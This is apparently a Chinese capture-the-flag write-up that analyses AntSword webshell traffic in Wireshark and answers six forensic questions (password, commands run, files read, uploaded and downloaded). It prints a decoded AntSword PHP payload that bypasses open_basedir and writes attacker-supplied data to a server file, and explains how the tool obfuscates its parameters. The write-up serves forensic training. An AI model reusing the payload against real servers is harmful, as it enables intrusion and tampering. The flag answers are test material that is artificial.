第六章 流量特征分析-蚁剑流量分析
第六章 流量特征分析-蚁剑流量分析
1.木马的连接密码是多少
2.黑客执行的第一个命令是什么
3.黑客读取了哪个文件的内容,提交文件绝对路径
4.黑客上传了什么文件到服务器,提交文件名
5.黑客上传的文件内容是什么
6.黑客下载了哪个文件,提交文件绝对路径
1.木马的连接密码是多少
webshell链接工具是用post传输的我们直接在wireshark里面输入命令
http.request.method =="POST"
来定位用post传输的流量
在未启用编码器或使用默认配置时,木马密码直接作为POST请求的第一个参数名出现。
打开第一个就能看到链接密码
flag{1}
2.黑客执行的第一个命令是什么
上一题我们知道1.php为黑客上传的shell了这里我们对这个文件进行搜索
http contains "1.php"
打开长度为894的流量包 右键 追踪http流 作
在蚁剑流量中,黑客执行的命令隐藏在 POST请求的特定参数值 中,需关注以下特征:
- 参数命名规则:
- 参数名格式为
ma[16位随机字符]
、uc[16位随机字符]
(如示例中的ucc3f8650c92ac
)。 - 此类参数携带经过混淆的命令负载。
- 参数名格式为
- 混淆机制:
- 参数值前2字符为蚁剑生成的随机字符(用于绕过简单规则检测),后续内容为Base64编码的命令序列。
将post请求体末尾的base64代码去掉头两位复制到base63解码即可看到黑客的操
flag{id}
3.黑客读取了哪个文件的内容,提交文件绝对路径
继续分析流量包,在856这个流量包这里将命令解码
将post请求包复制到网站进行url解码https://www.toolhelper.cn/EncodeDecode/Url
就可以看到明文传输,直接复制也可以
将最后base64加密的代码复制去掉前两位:这是蚁剑的随机前缀即可解密拿到明文密码
题目问我们黑客读取了哪个文件
flag{/etc/passwd}
4.黑客上传了什么文件到服务器,提交文件名
继续分析流量包在长度为646这里发现了黑客上传的文件
去掉前两位拿去url解码在base64解码
flag{flag.txt}
5.黑客上传的文件内容是什么
这一题其实一题里面就能看的出来,将上一题的请求体拿去url解码
整理一下
1=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){continue;};
$tmdir=$item."/.368479785";
@mkdir($tmdir);
if(!@file_exists($tmdir)){continue;}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};
function asenc($out){return $out;};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "6960"."cb205";
echo @asenc($output);
echo "1e0a"."91914";
}
ob_start();
try{
$f=base64_decode(substr($_POST["t41ffbc5fb0c04"],2));
$c=$_POST["ld807e7193493d"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&ld807e7193493d=666C61677B77726974655F666C61677D0A
&t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==
- 通过
$_POST["t41ffbc5fb0c04"]
接收Base64编码的目标文件路径(解码后为/var/[www/html/flag.txt](https://www/html/flag.txt)
)。 - 通过
$_POST["ld807e7193493d"]
接收十六进制编码的文件内容(解码后为flag{write_flag}
),并写入目标文件 。 - 使用
fopen($f, "a")
以追加模式打开文件,fwrite()
写入内容,成功返回1
,失败返回0
。
https://try8.cn/tool/code/hex 使用解码器解码
flag{write_flag}
6.黑客下载了哪个文件,提交文件绝对路径
继续分析1.php的流量在最后一个流量包里面,将里面的请求体进行url解码
可以看到黑客的操作
- 通过POST参数
t41ffbc5fb0c04
传递Base64编码的目标路径(2eL3Zh...
→ 解码后为/var/[www/html/config.php](https://www/html/config.php)
)。 - 使用
readfile()
函数读取文件内容并输出到响应流
将最后一段base64编码解码可以看到访问路径
flag{/var/www/html/config.php}